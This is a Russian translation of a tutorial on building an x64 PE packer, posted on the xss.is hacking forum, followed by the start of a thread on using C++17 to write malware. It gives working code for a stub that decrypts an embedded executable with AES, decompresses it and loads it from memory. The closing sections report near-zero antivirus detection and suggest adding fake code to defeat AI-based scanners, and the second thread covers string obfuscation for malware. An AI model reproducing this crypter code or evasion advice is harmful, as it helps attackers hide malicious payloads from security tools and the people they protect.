extern "C"
{
    #include "aes.h"
}

// Compression Library
#include "lzma2\fast-lzma2.h"

// PE Loader Library
#include "mmLoader.h"

// Merge Data With Code
#pragma comment(linker, "/merge:.rdata=.text")
#pragma comment(linker, "/merge:.data=.text")

// Cross Section Value
EXTERN_C static volatile uintptr_t      moduleImageBase = 0xBCEAEFBA;
EXTERN_C static volatile FARPROC        functionForwardingPtr = (FARPROC)0xCAFEBABE;

// External Functions
EXTERN_C BOOL CallModuleEntry(void* pMemModule_d, DWORD dwReason);

// Multi-Accessing Values
HMEMMODULE pe_module = 0;

// Entrypoint (EXE/DLL)
BOOL func_unpack(void*, int reason, void*)
{
    // Releasing DLL PE Module
    if (reason == DLL_PROCESS_DETACH)
    { CallModuleEntry(pe_module, DLL_PROCESS_DETACH); FreeMemModule(pe_module); return TRUE; };

    // Handling DLL Thread Events
    if (reason == DLL_THREAD_ATTACH) return CallModuleEntry(pe_module, DLL_THREAD_ATTACH);
    if (reason == DLL_THREAD_DETACH) return CallModuleEntry(pe_module, DLL_THREAD_DETACH);

    // Internal Data [ Signatures ]
    volatile PVOID data_ptr = (void*)0xAABBCCDD;
    volatile DWORD data_size = 0xEEFFAADD;
    volatile DWORD actual_data_size = 0xA0B0C0D0;
    volatile DWORD header_size = 0xF0E0D0A0;

    // Initializing Resolvers
    k32_init(); crt_init();

    // Getting BaseAddress of Module
    intptr_t imageBase = (intptr_t)&__ImageBase;
    data_ptr = (void*)((intptr_t)data_ptr + imageBase);

    // Initializing Cryptor
    struct AES_ctx ctx;
    const unsigned char key[32] = {
    0xD6, 0x23, 0xB8, 0xEF, 0x62, 0x26, 0xCE, 0xC3, 0xE2, 0x4C, 0x55, 0x12,
    0x7D, 0xE8, 0x73, 0xE7, 0x83, 0x9C, 0x77, 0x6B, 0xB1, 0xA9, 0x3B, 0x57,
    0xB2, 0x5F, 0xDB, 0xEA, 0x0D, 0xB6, 0x8E, 0xA2
    };
    const unsigned char iv[16] = {
    0x18, 0x42, 0x31, 0x2D, 0xFC, 0xEF, 0xDA, 0xB6, 0xB9, 0x49, 0xF1, 0x0D,
    0x03, 0x7E, 0x7E, 0xBD
    };
    AES_init_ctx_iv(&ctx, key, iv);

    // Casting PVOID to BYTE
    uint8_t* data_ptr_byte = (uint8_t*)data_ptr;

    // Decrypting Buffer
    AES_CBC_decrypt_buffer(&ctx, data_ptr_byte, data_size);

    // Allocating Code Buffer
    uint8_t* code_buffer = (uint8_t*)malloc(actual_data_size);

    // Decompressing Buffer
    FL2_decompress(code_buffer, actual_data_size, &data_ptr_byte[16], data_size - 32);
    memset(data_ptr, 0, data_size);

    // Loading PE Module
    DWORD pe_loader_result = 0;
    pe_module = LoadMemModule(code_buffer, false, &pe_loader_result);

    // Set Image Base
    moduleImageBase = (uintptr_t)*pe_module;
    functionForwardingPtr = 0;

    // Call Entrypoint
    return CallModuleEntry(pe_module, DLL_PROCESS_ATTACH);
}

Теперь давайте я объясню вам что сделал ;)

1. Мы изменили тип возврата func_unpack на BOOL и добавили 3 параметра:

C++:Copy to clipboard

BOOL func_unpack(void*, int reason, void*)

2. Мы должны переписать метод получения базового адреса. В EXE мы просто используем GetModuleHandle , но не в DLL. Можно использовать первый параметр функции func_unpack (который является типом hInstance), но это работает только для DLL. Используя же __ImageBase, мы получим верное значение для любого PE-файла:

C++:Copy to clipboard

#include <winnt.h>
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
...
// Getting BaseAddress of Module
intptr_t imageBase = (intptr_t)&__ImageBase;

3. Нам нужно получить возможность контролировать точку входа нашей DLL. Мы должны внести некоторые несложные изменения в mmLoader и сделать функцию CallModuleEntry пубоичной. Потом будем использовать её для вызова вручную после загрузки нашего модуля из памяти:

C++:Copy to clipboard

// External Functions
EXTERN_C BOOL CallModuleEntry(void* pMemModule_d, DWORD dwReason);
...
// Changes in mmLoader.c
BOOL CallModuleEntry(void* pMemModule_d, DWORD dwReason)
{
  PMEM_MODULE pMemModule = pMemModule_d;
...

4. Мы должны обрабатывать события DLL, чтобы избежать утечек памяти, сбоев или потери данных при её выгрузке из памяти:

C++:Copy to clipboard

// Releasing DLL PE Module
if (reason == DLL_PROCESS_DETACH)
{ CallModuleEntry(pe_module, DLL_PROCESS_DETACH); FreeMemModule(pe_module); return TRUE; };

// Handling DLL Thread Events
if (reason == DLL_THREAD_ATTACH) return CallModuleEntry(pe_module, DLL_THREAD_ATTACH);
if (reason == DLL_THREAD_DETACH) return CallModuleEntry(pe_module, DLL_THREAD_DETACH);

5. Добавим две константы, к которым будем обращаться далее:

C++:Copy to clipboard

// Cross Section Value
EXTERN_C static volatile uintptr_t      moduleImageBase = 0xBCEAEFBA;
EXTERN_C static volatile FARPROC        functionForwardingPtr = (FARPROC)0xCAFEBABE;

6. Обновим процесс загрузки и установим некие значения, что это за значения? Читайте дальше!

C++:Copy to clipboard

// Loading PE Module
DWORD pe_loader_result = 0;
pe_module = LoadMemModule(code_buffer, false, &pe_loader_result);

// Set Image Base
moduleImageBase = (uintptr_t)*pe_module;
functionForwardingPtr = 0;

// Call Entrypoint
return CallModuleEntry(pe_module, DLL_PROCESS_ATTACH);

Не забудьте перенести pe_module в глобальную область видимости, чтобы к нему можно было обращаться при каждом событии. После компиляции стаба распаковщика и обновлении массива сырых данных в проекте упаковщика, обновлении смещения точки входа, он должен работать как для exe, так и для dll. Теперь перейдем таблице экспорта.

B) Добавление поиска по шаблону в упаковщик в стаб распаковщика

Так, переходим к файлу packer.cpp и добавим код поиска по шаблону сразу после строки, в которой мы обновили значение точки входа:

C++:Copy to clipboard

// Update PE Entrypoint ( Taken from .map file )
nt_h.OptionalHeader.AddressOfEntryPoint = 0x00005F10;

// Get Const Values Offset In Unpacker
DWORD imagebase_value_sig = 0xBCEAEFBA;
DWORD imageBaseValueOffset = _find(unpacker_stub, sizeof unpacker_stub, imagebase_value_sig);
memset(&unpacker_stub[imageBaseValueOffset], NULL, sizeof uintptr_t);
if (imageBaseValueOffset != -1)
    printf("[Information] ImageBase Value Signature Found at :  %X\n", imageBaseValueOffset);
DWORD forwarding_value_sig = 0xCAFEBABE;
DWORD forwarding_value_offset = _find(unpacker_stub, sizeof unpacker_stub, forwarding_value_sig);
memset(&unpacker_stub[forwarding_value_offset], NULL, sizeof FARPROC);
if (imageBaseValueOffset != -1)
    printf("[Information] Function Forwading Value Signature Found at :  %X\n", forwarding_value_offset);

C) Добавляем Секцию экспорта/Таблицы/Этап генерации кода

Пришло время сделать шаг, который определит, упаковываем ли мы DLL-файл. Добавьте следующий код сразу после поиска шаблона:

C++:Copy to clipboard

// Create Export Table ( Section [ Export ] )
IMAGE_SECTION_HEADER et_sec;
memset(&et_sec, NULL, sizeof IMAGE_SECTION_HEADER);
bool hasExports = false; vector<uint8_t> et_buffer;

if (isDLL)
{
    // We Generate Export Section, Export Table and Export Code Here
}

D) Извлекаем информацию об экспорте из исходного PE-файла

В начале нужно выяснить, есть ли экспорт у файла:

C++:Copy to clipboard

if (isDLL)
{
    uint8_t export_section_index = 0;
    int export_section_raw_addr = -1;

    // Get Export Table Information
    IMAGE_DATA_DIRECTORY ex_table =
        in_pe_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (ex_table.VirtualAddress != 0) hasExports = true;

    printf("[Information] Has Exports : %s\n", BOOL_STR(hasExports));
    
    if (hasExports)
    {
        printf("[Information] Creating Export Table...\n");
        // We Have Exports on Input PE File!
    }
}

Теперь мы получили RVA исходной экспортной секции и вычислили по какому виртуальному адресу она находится:

C++:Copy to clipboard

// Export Directory RVA
DWORD e_dir_rva = ex_table.VirtualAddress;
DWORD et_sec_virtual_address = d_sec.VirtualAddress + d_sec.Misc.VirtualSize;

printf("[Information] Input PE File Section Count : %d\n", in_pe_nt_header->FileHeader.NumberOfSections);

Перебираем все секции PE-файла и выясняем, какая из них является секцией экспорта:

C++:Copy to clipboard

// Get Section Macro
#define GET_SECTION(h,s) (uintptr_t)IMAGE_FIRST_SECTION(h) + ((s) * sizeof IMAGE_SECTION_HEADER)

...

// Find Export Section in Input PE File
for (size_t i = 0; i < in_pe_nt_header->FileHeader.NumberOfSections; i++)
{
    IMAGE_SECTION_HEADER* get_sec = (PIMAGE_SECTION_HEADER)(GET_SECTION(in_pe_nt_header, i));
    IMAGE_SECTION_HEADER* get_next_sec = (PIMAGE_SECTION_HEADER)(GET_SECTION(in_pe_nt_header, i + 1));

    if (e_dir_rva > get_sec->VirtualAddress &&
        e_dir_rva < get_next_sec->VirtualAddress &&
        (i + 1) <= in_pe_nt_header->FileHeader.NumberOfSections)
    {
        export_section_index = i; break;
    };
}

printf("[Information] Export Section Found At %dth Section\n", export_section_index + 1);

if (export_section_index != -1)
{
    // Actual Export Generation Happens Here
}

Хорошо, давайте поговорим о том, как мы будем выполнять процесс генерации dll- экспорта, прежде чем мы шагнем в драконью пасть...

E) Концепция DLL Export Forwarding

Что такое форвардинг функций? В программировании форвардинг означает переход от вызова одной функции к другой без изменения её параметров.

Это может быть сделано с помощью нескольких методов, известных как DLL hijacking, proxy-dll, machine code redirection и т.д. Создадим небольшой ассемблерный код (32 байта), который определяет базовый адрес загруженного модуля, суммируем его с реальным смещением функции и, наконец, переходим к нему.
1639333670627.png

Будем использовать для форвардинга функций следующий код:

Code:Copy to clipboard

PUSH RCX
PUSH RAX
MOV RAX,QWORD PTR DS:[(Image Base Address)]
MOV ECX, (Function Offset)
ADD RAX,RCX
MOV QWORD PTR DS:[(Function Offset + Image Base Address)],RAX
POP RAX                                    
POP RCX
JMP QWORD PTR DS:[(Function Offset + Image Base Address)] /* < Jump */

F) Клонирование таблицы экспорта исходного файла, внесение изменений и ребазирование

Теперь, когда вы знаете, как всё устроено, пора приступать к самому сложному. Но прежде чем продолжить, добавьте эти полезные макросы для облегчения процесса:

C++:Copy to clipboard

#define GET_SECTION(h,s) (uintptr_t)IMAGE_FIRST_SECTION(h) + ((s) * sizeof IMAGE_SECTION_HEADER)
#define RVA_TO_FILE_OFFSET(rva,membase,filebase) ((rva - membase) + filebase)
#define RVA2OFS_EXP(rva) (input_pe_file_buffer.data() +  \
    (RVA_TO_FILE_OFFSET(rva, in_pe_exp_sec->VirtualAddress, in_pe_exp_sec->PointerToRawData)))
#define REBASE_RVA(rva) ((rva - in_pe_exp_sec->VirtualAddress + et_sec_virtual_address) - \
                            (e_dir_rva - in_pe_exp_sec->VirtualAddress))

Разбираем исходную секцию экспорта и теперь у нас есть доступ к её данным:

C++:Copy to clipboard

printf("[Information] Parsing Input PE Export Section...\n");

// Get Export Directory
PIMAGE_SECTION_HEADER in_pe_exp_sec = (PIMAGE_SECTION_HEADER)(GET_SECTION(in_pe_nt_header, export_section_index));
PIMAGE_EXPORT_DIRECTORY e_dir = (PIMAGE_EXPORT_DIRECTORY)RVA2OFS_EXP(e_dir_rva);
DWORD e_dir_size = in_pe_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;

printf("[Information] Export Section Name : %s\n", in_pe_exp_sec->Name);

// Extracting Input Binary Export Table
PULONG  in_et_fn_tab = (PULONG)RVA2OFS_EXP(e_dir->AddressOfFunctions);
PULONG  in_et_name_tab = (PULONG)RVA2OFS_EXP(e_dir->AddressOfNames);
PUSHORT in_et_ordianl_tab = (PUSHORT)RVA2OFS_EXP(e_dir->AddressOfNameOrdinals);
uintptr_t in_et_data_start = (uintptr_t)in_et_fn_tab;
DWORD in_et_last_fn_name_size = strlen((char*)RVA2OFS_EXP(in_et_name_tab[e_dir->NumberOfNames - 1])) + 1;
uintptr_t in_et_data_end = (uintptr_t)(RVA2OFS_EXP(in_et_name_tab[e_dir->NumberOfNames - 1]) + in_et_last_fn_name_size);

Потом мы просто ребазируем с помощью макроса следующим образом:

C++:Copy to clipboard

// Rebase Export Table Addresses
printf("[Information] Rebasing Expor Table Addresses...\n");
e_dir->AddressOfFunctions = REBASE_RVA(e_dir->AddressOfFunctions);
e_dir->AddressOfNames = REBASE_RVA(e_dir->AddressOfNames);
e_dir->AddressOfNameOrdinals = REBASE_RVA(e_dir->AddressOfNameOrdinals);
for (size_t i = 0; i < e_dir->NumberOfNames; i++) in_et_name_tab[i] = REBASE_RVA(in_et_name_tab[i]);

После этого копируем данные секции экспорта в наш новый PE-файл:

C++:Copy to clipboard

// Generate Export Table Direcotry Data
et_buffer.resize(e_dir_size);
memcpy(et_buffer.data(), e_dir, sizeof IMAGE_EXPORT_DIRECTORY);

G) Создание кода для экспорта

Добавьте этот небольшой фрагмент кода в ваш исходный код упаковщика сразу после // Helpers:

C++:Copy to clipboard

// Machine Code
unsigned char func_forwarding_code[32] =
{
    0x51, 0x50,                                         // PUSH RCX, PUSH RAX
    0x48, 0x8B, 0x05,   0x00, 0x00, 0x00, 0x00,         // MOV RAX,QWORD PTR DS:[OFFSET]
    0xB9,               0x00, 0x00, 0x00, 0x00,         // MOV ECX,VALUE
    0x48, 0x03, 0xC1,                                   // ADD RAX,RCX
    0x48, 0x89, 0x05,   0x00, 0x00, 0x00, 0x00,         // MOV QWORD PTR DS:[OFFSET],RAX
    0x58, 0x59,                                         // POP RAX, POP RCX
    0xFF, 0x25,         0x00, 0x00, 0x00, 0x00,         // JMP QWORD PTR DS:[OFFSET]
};

После этого нам нужно выделить временный буфер, вычислить Image base RVA, RVA текущего блока кода и смещение. Затем просто устанавливаем значения в массиве и добавляем в этот временный буфер. Далее создаём в секцию экспорта:

C++:Copy to clipboard

// Generate Export Table Codes
printf("[Information] Generating Function Forwarding Code...\n");
DWORD ff_code_buffer_size = sizeof func_forwarding_code * e_dir->NumberOfFunctions;
uint8_t* ff_code_buffer = (uint8_t*)malloc(ff_code_buffer_size);
DWORD image_base_rva = c_sec.VirtualAddress + imageBaseValueOffset;
DWORD ff_value_rva = c_sec.VirtualAddress + forwarding_value_offset;
for (size_t i = 0; i < e_dir->NumberOfFunctions; i++)
{
    DWORD func_offset = in_et_fn_tab[in_et_ordianl_tab[i]];
    DWORD machine_code_offset = i * sizeof func_forwarding_code;
    DWORD machine_code_rva = et_buffer.size() + machine_code_offset + et_sec_virtual_address;

    // Machine Code Data
    int32_t* offset_to_image_base       = (int32_t*)&func_forwarding_code[5];
    int32_t* function_offset_value      = (int32_t*)&func_forwarding_code[10];
    int32_t* offset_to_func_addr        = (int32_t*)&func_forwarding_code[20];
    int32_t* offset_to_func_addr2       = (int32_t*)&func_forwarding_code[28];

    offset_to_image_base[0]     = (image_base_rva - machine_code_rva) - (5 + sizeof int32_t);
    function_offset_value[0]    = func_offset;
    offset_to_func_addr[0]      = (ff_value_rva - machine_code_rva) - (20 + sizeof int32_t);
    offset_to_func_addr2[0]     = (ff_value_rva - machine_code_rva) - (28 + sizeof int32_t);
    memcpy(&ff_code_buffer[machine_code_offset], func_forwarding_code, sizeof func_forwarding_code);

    // Update Function Address
    in_et_fn_tab[i] = et_sec_virtual_address + et_buffer.size() + (i * sizeof func_forwarding_code);
}

// Copy Updated Export Table Data
DWORD et_data_size = in_et_data_end - in_et_data_start;
memcpy(&et_buffer.data()[sizeof IMAGE_EXPORT_DIRECTORY], (void*)in_et_data_start, et_data_size);

// Merge Export Table and Export Data Buffers
DWORD size_of_export_table = et_buffer.size();
et_buffer.resize(size_of_export_table + ff_code_buffer_size);
memcpy(&et_buffer.data()[size_of_export_table], (void*)ff_code_buffer, ff_code_buffer_size);
free(ff_code_buffer);

Это всё! Теперь нужно создать новую секцию для экспорта:

C++:Copy to clipboard

// Generate Export Table Section
et_sec.Name[0] = '[';
et_sec.Name[1] = ' ';
et_sec.Name[2] = 'H';
et_sec.Name[3] = '.';
et_sec.Name[4] = 'M';
et_sec.Name[5] = ' ';
et_sec.Name[6] = ']';
et_sec.Name[7] = 0x0;
et_sec.Misc.VirtualSize = _align(et_buffer.size(), memory_alignment_size);
et_sec.VirtualAddress = et_sec_virtual_address;
et_sec.SizeOfRawData = _align(et_buffer.size(), file_alignment_size);
et_sec.PointerToRawData = d_sec.PointerToRawData + d_sec.SizeOfRawData;
et_sec.Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE;

Обновим таблицу экспорта:

C++:Copy to clipboard

// Update Export Table Directory
nt_h.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress = et_sec.VirtualAddress;
nt_h.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size = e_dir_size;

Обновим счётчик секций и размер образа:

C++:Copy to clipboard

// Update PE Headers
nt_h.FileHeader.NumberOfSections = 3;

// Update PE Image Size
nt_h.OptionalHeader.SizeOfImage =
    _align(et_sec.VirtualAddress + et_sec.Misc.VirtualSize, memory_alignment_size);

H) Запись экспорта DLL в PE-файл

Конечно, нужно сделать некоторые изменения для записи экспорта в файл. После записи секции данных запишем секцию экспорта, используя значение current_pos :

C++:Copy to clipboard

// Write Export Section
if (et_buffer.size() != 0 && hasExports)
{
    printf("[Information] Writing Export Table Data...\n");
    current_pos = pe_writter.tellp();
    pe_writter.write((char*)et_buffer.data(), et_buffer.size());
    while (pe_writter.tellp() != current_pos + et_sec.SizeOfRawData) pe_writter.put(0x0);
}

Итак, полный код создания файла:

C++:Copy to clipboard

// Create/Open PE File
printf("[Information] Writing Generated PE to Disk...\n");
fstream pe_writter;
size_t current_pos;
pe_writter.open(output_pe_file, ios::binary | ios::out);

// Write DOS Header
pe_writter.write((char*)&dos_h, sizeof dos_h);

// Write NT Header
pe_writter.write((char*)&nt_h, sizeof nt_h);

// Write Headers of Sections
pe_writter.write((char*)&c_sec, sizeof c_sec);
pe_writter.write((char*)&d_sec, sizeof d_sec);
if(nt_h.FileHeader.NumberOfSections == 3) pe_writter.write((char*)&et_sec, sizeof et_sec);

// Add Padding
while (pe_writter.tellp() != c_sec.PointerToRawData) pe_writter.put(0x0);

// Find Singuatures in Unpacker Stub
DWORD data_ptr_sig              = 0xAABBCCDD;
DWORD data_size_sig             = 0xEEFFAADD;
DWORD actual_data_size_sig      = 0xA0B0C0D0;
DWORD header_size_sig           = 0xF0E0D0A0;
DWORD data_ptr_offset           = _find(unpacker_stub, sizeof unpacker_stub, data_ptr_sig);
DWORD data_size_offset          = _find(unpacker_stub, sizeof unpacker_stub, data_size_sig);
DWORD actual_data_size_offset   = _find(unpacker_stub, sizeof unpacker_stub, actual_data_size_sig);
DWORD header_size_offset        = _find(unpacker_stub, sizeof unpacker_stub, header_size_sig);

...

// Update Code Section
printf("[Information] Updating Offset Data...\n");
memcpy(&unpacker_stub[data_ptr_offset], &d_sec.VirtualAddress, sizeof DWORD);
memcpy(&unpacker_stub[data_size_offset], &d_sec.SizeOfRawData,  sizeof DWORD);
DWORD pe_file_actual_size = (DWORD)input_pe_file_buffer.size();
memcpy(&unpacker_stub[actual_data_size_offset], &pe_file_actual_size, sizeof DWORD);
memcpy(&unpacker_stub[header_size_offset], &nt_h.OptionalHeader.BaseOfCode, sizeof DWORD);

// Write Code Section
printf("[Information] Writing Code Data...\n");
current_pos = pe_writter.tellp();
pe_writter.write((char*)&unpacker_stub, sizeof unpacker_stub);
while (pe_writter.tellp() != current_pos + c_sec.SizeOfRawData) pe_writter.put(0x0);

// Write Data Section
printf("[Information] Writing Packed Data...\n");
current_pos = pe_writter.tellp();
pe_writter.write((char*)data_buffer.data(), data_buffer.size());
while (pe_writter.tellp() != current_pos + d_sec.SizeOfRawData) pe_writter.put(0x0);

// Write Export Section
if (et_buffer.size() != 0 && hasExports)
{
    printf("[Information] Writing Export Table Data...\n");
    current_pos = pe_writter.tellp();
    pe_writter.write((char*)et_buffer.data(), et_buffer.size());
    while (pe_writter.tellp() != current_pos + et_sec.SizeOfRawData) pe_writter.put(0x0);
}

// Close PE File
pe_writter.close();

Теперь наш упаковщик поддерживает и DLL-файлы!
05_pe_packer_tutorial_packer_chapter4_vs16_x64.zip

Упаковщик: Создаём информацию о Версии файла

Хорошо, это последняя часть статьи. Конечно, я могу сделать гораздо больше и добавить ещё больше возможностей, но думаю, что статья уже стала очень длинной. В этой части мы используем некоторую постобработку нашего итогового файла - добавим информацию о файле и иконку.

Вы можете использовать библиотеки с GitHub, я же использую свою собственную библиотеку.
1. Ссылка на utilities\hmrclib64_vc16.lib , которая находится в zip-файле с исходным кодом следующей части.
2. Добавьте определения функций в packer.cpp сразу после заголовков:

C++:Copy to clipboard

// PE Info Ediotr
void  HMResKit_LoadPEFile(const char* peFile);
void  HMResKit_SetFileInfo(const char* key, const char* value);
void  HMResKit_SetPEVersion(const char* peFile);
void  HMResKit_ChangeIcon(const char* iconPath);
void  HMResKit_CommitChanges(const char* sectionName);

3. Добавьте информацию и иконку:

C++:Copy to clipboard

// Post-Process [ Add Information & Icon ]
printf("[Information] Adding File Information and Icon...\n");
HMResKit_LoadPEFile(output_pe_file);
HMResKit_SetFileInfo("ProductName", "Custom PE Packer");
HMResKit_SetFileInfo("CompanyName", "MemarDesign™ LLC.");
HMResKit_SetFileInfo("LegalTrademarks", "MemarDesign™ LLC.");
HMResKit_SetFileInfo("Comments", "Developed by Hamid.Memar");
HMResKit_SetFileInfo("FileDescription", "A PE File Packed by HMPacker");
HMResKit_SetFileInfo("ProductVersion", "1.0.0.1");
HMResKit_SetFileInfo("FileVersion", "1.0.0.1");
HMResKit_SetFileInfo("InternalName", "packed-pe-file");
HMResKit_SetFileInfo("OriginalFilename", "packed-pe-file");
HMResKit_SetFileInfo("LegalCopyright", "Copyright MemarDesign™ LLC. © 2021-2022");
HMResKit_SetFileInfo("PrivateBuild", "Packed PE");
HMResKit_SetFileInfo("SpecialBuild", "Packed PE");
HMResKit_SetPEVersion("1.0.0.1");
if (!isDLL) HMResKit_ChangeIcon("app.ico");
HMResKit_CommitChanges("[ H.M ]");

Здесь мы не рассматриваем извлечение иконки и информации о файле из исходного файла. Это легко делается, но так или иначе нам нужно распарсить секцию ресурсов. Я не хочу удлинять статью, поэтому будет достаточно одного примера. Ознакомьтесь с этой статьёй.

Click to expand...

06_pe_packer_tutorial_packer_chapter_final_vs16_x64.zip

Упаковщик: Дополнения + Советы по улучшению

Несколько советов и дополнений по улучшению упаковщика, которые вы можете использовать.

Совет 1: Обновление контрольной суммы

Последний шаг после всех наших действий - обновление контрольной суммы PE- файла, которая находится по адресу:

C++:Copy to clipboard

OptionalHeader.CheckSum = 0xFFFFFFFF;

Правильная контрольная сумма очень важна для получения лучших результатов при антивирусном сканировании. Вы можете ознакомиться с [этой](https://www.codeproject.com/Articles/19326/An-Analysis-of-the-Windows- PE-Checksum-Algorithm) статьёй как считается контрольная сумма для PE-файлов.

Совет 2: Добавление цифровой подписи

Наш упакованный файл не похож на созданный каким-нибудь общеизвестным компилятором, что может вызвать некоторые проблемы с антивирусами. Если это ваша программа, то её подпись поможет решить эту проблему. Получите сертификат и используйте signtool.exe.

Совет 3: Поддержка файла манифеста

Если хотите, вы можете клонировать файл манифеста для добавления дополнительно информации об упакованном файле, например, когда он требует привилегий администратора и т.п.

Вы должны распарсить каталог ресурсов и извлечь его оттуда.

Совет 4: Поддержка .Net

Для добавления поддержки .Net вы можете пойти сложным путем (манипулируя c .Net PE) или использовать нативный CLR-хостинг, который я рекомендую. Вы можете посмотреть мою [статью](https://www.codeproject.com/Articles/1236146/Protecting-NET-plus- Application-By-Cplusplus-Unman) о CLR-хостинге. Кстати, она старая и сейчас можно всё сделать намного лучше. Возможно, я напишу статью об этом, кто знает?

Упакуйте .Net-сборку в секцию данных и используйте CLR-хостинг в стабе распаковщика, чтобы загрузить её в памяти, также вы можете использовать [.Net Core Hosting](https://docs.microsoft.com/en-us/dotnet/core/tutorials/netcore- hosting).

Совет 5: Многократная упаковка

Преимущество нашего упаковщика в том, что он не изменяет структуру входного файла для создания упакованного, поэтому вы можете использовать любой другой упаковщик в качестве следующего уровня упаковки/защиты!

Да! Вы можете легко создать свою собственную систему защиты и сжатия, а затем использовать на ней известный упаковщик. Так что злоумышленник столкнётся с двумя фазами распаковки, что немного усложнит ему жизнь!

Еще одна интересная информация об упаковщике: вы можете упаковать уже упакованный PE-файл ещё раз, неограниченное количество раз снова и снова. И каждый раз менять ключ и вектор инициализации!

Совет 6: Более высокая степень сжатия

Не забывайте, что упаковщики могут уменьшать файлы только большого размера. Стаб распаковщика тоже занимает место. Например, если вы упаковываете 1KB DLL, то полученный файл будет больше исходного, но если вы упакуете 100MB DLL, то получите маленький упакованный файл с высокой степенью сжатия!

В любом случае, даже в этой ситуации вы можете использовать UPX на сжатом файле, чтобы "скрыть" наш код распаковки.

Заметка для настоящих безумцев: если вы хотите пойти дальше, то возьмите исходный код UPX и добавьте дополнительный уровень шифрования прямо в него!

Click to expand...

Совет 7: Виртуализация кода

Для улучшения безопасности вашего файла можно воспользоваться продуктами, которые предлагают виртуализацию кода. Если вы используете виртуальную машину в стабе распаковщика, то это очень затрудняет процесс обратной разработки.

Дополнительно: Релоки и нестандартные PE-файлы

Упаковщик нуждается в доработке, например, в части обработки релоков и экспорта non-ordinal функций. Настоятельно рекомендую не использовать упаковщик на нестандартных или подписанных PE-файлах, таких как d3dcompiler_47.dll.

Вы можете добавлять новые функции в упаковщик и закоммитить в HMPacker-репозиторий.

Дополнительно: Многоязыковые PE-файлы

Этот упаковщик не тестировался с многоязыковыми PE-файлами, однако теоретически он будет работать нормально. Не используйте его на PE-файлах без резервной копии. Чтобы добавить полнофункциональную многоязыковую поддержку, вам нужно будет сделать клонирование секции ресурсов.

Дополнительно: Испытание в реальных условиях на Marmoset Toolbag 3

Попробуем наш упаковщик на программе Marmoset Toolbag 3! Marmoset 3 имеет четырк PE-файла:
1. toolbag.exe : главный исполняемый файл размером 19,763,288 байт
2. substance_linker.dll : библиотека, размер 378,368 байт
3. substance_sse2_blend.dll : ещё одна библиотека размером 958,976 байт
4. python36.dll : библиотека Python, размер 3,555,992 байт

Ок, теперь давайте попробуем на них наш упаковщик...

Code:Copy to clipboard

pack_marmoset.bat :
"%cd%\pe_packer.exe" "%cd%\toolbag.exe" "%cd%\toolbag_packed.exe"
"%cd%\pe_packer.exe" "%cd%\substance_sse2_blend.dll" "%cd%\substance_sse2_blend_packed.dll"
"%cd%\pe_packer.exe" "%cd%\substance_linker.dll" "%cd%\substance_linker_packed.dll"
"%cd%\pe_packer.exe" "%cd%\python36.dll" "%cd%\python36_packed.dll"

Результат:
1639335947360.png

Потрясающе! Наш упаковщик уменьшил размер toolbag.exe с 19,763,288 байт до 5,169,152 байт! Давайте проверим программу, чтобы узнать, работает она правильно или нет...
1639336006735.png

Она работает идеально! Никаких сбоев, никакого падения производительности и очень чистый...

Дополнительно: Проверяем упакованный файл антивирусами

VirusTotal

Вот проверка 67 AVs с помощью VirusTotal, только 2 AV обнаружили упакованный toolbag в виде ложного срабатывания. Оно может быть исправлено добавлением фейкового кода в поддельную секцию. Некоторые AV (особенно с ИИ, такие как SecureAge APEX), отмечают любой PE-файл без понятного кода (а наш файл сильно сжат и зашифрован) флагом, однако добавление произвольного C++-кода уберёт этот флаг.
1639336134642.png

БУДЬТЕ МИЛЫМ. Этот трюк не работает на тех программах, которые содержат настоящий зловредный код. Будьте хорошим человеком и не используйте технику против других, это некрасиво.

Click to expand...

AntiScan

Вот проверка 26 AVs с помощью AntiScan, ни один из них не обнаружил упакованный файл!
1639336289431.png

Дополнительно: взглянем поближе на упакованный файл

Прежде чем закончить статью, давайте рассмотрим с технической точки зрения файл, сжатый нашим упаковщиком.

- Ни один из популярных детекторов не распознал упакованный файл:
1639336359427.png

- Наш файл состоит из нестандартных имён секций, без таблицы импорта и не имеет зависимостей:
1639336387827.png

- Энтропия 99% и это означает, что он сильно упакован.
1639336420682.png

- Файл всего лишь на ~12.5 мегабайт потребляет больше памяти, по сравнению с исходным:
1639336458026.png

---
Автор статьи - The Ænema. Оригинал тут - <https://www.codeproject.com/Articles/5317556/Creating-Your-Very-Own-x64-PE- Packer-Protector-fro>
Переведено специально для xss.is.

Используем С++17 при написании вредоносных программ
ID: 6765d804b4103b69df37597b
Thread ID: 55508
Created: 2021-08-18T17:35:36+0000
Last Post: 2021-08-19T20:48:53+0000
Author: PlebsoVata
Prefix: Статья
Replies: 10 Views: 3K

В студии давно появился флаг "/ std:c++17" и недавно "/std:c++20 ", о котором я расскажу в следующей статье, каждый из этих стандартов привнес много новшеств в язык и стандартную библиотеку, которыми не все пользуются, особенно при создании малвари, потому что они тянут исключения, CRT.
Однако есть полезные и удобные фичи, которые позволяют быстрее и удобнее писать многие вещи и они не тянут исключения и CRT.

Оглавление:

1. constexpr
Constexpr был добавлен еще в C++11 и все его знают благодаря xorstr и другим библиотекам, которые позволяют в compile-time хоть как-то обфусцировать строки, однако теперь можно писать if constexpr (expression) чтобы использовать условные операторы в compile-time.

if constexpr можно использовать в compile-time алгоритмах, а также при проверках типов, например так:

C++:Copy to clipboard

template <typename T>
constexpr auto GetPointer(const T& t) {
    if constexpr (std::is_pointer_v<T>) // std::is_pointer_v<T> - compile-time функция и не тянет CRT, находится в <type_traits>
        return t;
    else
        return &t;
}

В этой статье я привел примеры compile-time crc32, вычисления чисел фибоначчи и как можно работать со string_view.

Была добавлена возможность использовать constexpr лямбда-функции, если они удовлетворяют требованиям constexpr функций.

C++:Copy to clipboard

int main(int argc, char* argv[])
{
    constexpr auto Kylobytes = [](int n) -> int {
        return n * 1024;
    };
    constexpr auto kb_1024 = Kylobytes(1024);
    return kb_1024;
}

2. string_view
Данный контейнер является constexpr и не тянет за собой CRT, но может, если хотите перестраховаться, то нужно брать чужую реализацию, либо писать свою на основе чужой, благо исходного кода STL предостаточно.
